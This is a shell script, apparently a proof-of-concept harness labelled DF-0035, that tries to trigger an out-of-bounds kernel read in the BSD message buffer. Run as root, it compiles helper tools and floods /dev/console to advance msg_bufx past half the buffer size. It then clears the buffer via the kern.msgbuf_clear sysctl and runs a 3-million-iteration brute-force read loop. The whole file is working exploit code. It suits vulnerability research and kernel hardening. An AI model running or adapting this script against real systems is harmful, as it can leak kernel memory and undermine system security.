DF-0035 / run_brute.sh
#!/bin/sh # DF-0035 — brute-force wrapper: arrange the stale-msg_bufr geometry using # ONLY the natural kern.msgbuf_clear sysctl (no kvm_write), then run the # tight 1-byte-step+read loop looking for an OOB read. # # Usage (root): sh run_brute.sh set -eu cd /root/poc/DF-0035 echo "[+] building helper tools if needed" [ -x dump_msgbuf ] || cc -O2 -o dump_msgbuf dump_msgbuf.c -lkvm [ -x msgbuf_brute ] || cc -O2 -o msgbuf_brute msgbuf_brute.c MSG_SIZE=1048544 HALF=$((MSG_SIZE / 2)) # 524272 echo "[+] current msgbuf state:" ./dump_msgbuf | sed -n '1,8p' # Step 1: drive msg_bufx forward until (msg_bufx % msg_size) > msg_size/2. # Use a console-write spam; cap at ~2 MiB so we don't blow past the buffer. echo "[+] step 1: pushing msg_bufx so Vm > $HALF" PREV_VMLINE=$(./dump_msgbuf | grep '^msg_bufx' | head -1) echo " $PREV_VMLINE" # Write a chunk then re-check; repeat up to 8 times for i in 1 2 3 4 5 6 7 8; do VM=$(./dump_msgbuf | grep '^msg_bufx' | head -1 | sed 's/.*mod size = //;s/[^0-9].*//') echo " iter $i: Vm=$VM" if [ "$VM" -gt "$HALF" ] && [ "$VM" -lt "$MSG_SIZE" ]; then echo " reached Vm=$VM > $HALF, proceeding to clear" break fi # Write ~128 KiB more to /dev/console to advance msg_bufx ( python3 -c "import sys; sys.stdout.write('A'*131072)" 2>/dev/null \ || yes A | head -c 131072 ) >/dev/console 2>/dev/null || true done # Step 2: clear msgbuf. msg_bufr := msg_bufx (current value, Vm > msg_size/2). echo "[+] step 2: kern.msgbuf_clear=1" sysctl kern.msgbuf_clear=1 >/dev/null || true ./dump_msgbuf | grep -E 'msg_bufx|msg_bufr' | head -2 VMR=$(./dump_msgbuf | grep '^msg_bufr' | head -1 | sed 's/.*mod size = //;s/[^0-9].*//') echo " post-clear Vm_bufr=$VMR" if [ "$VMR" -le "$HALF" ]; then echo "[-] Vm_bufr not > msg_size/2; aborting brute attempt" exit 3 fi # Step 3: brute-force the 1-byte-wide window with 3,000,000 tight iters. echo "[+] step 3: brute-forcing 3M tight-step reads (this takes ~1-2 min)" ./msgbuf_brute 3000000 RC=$? echo "[+] brute rc=$RC" exit $RC |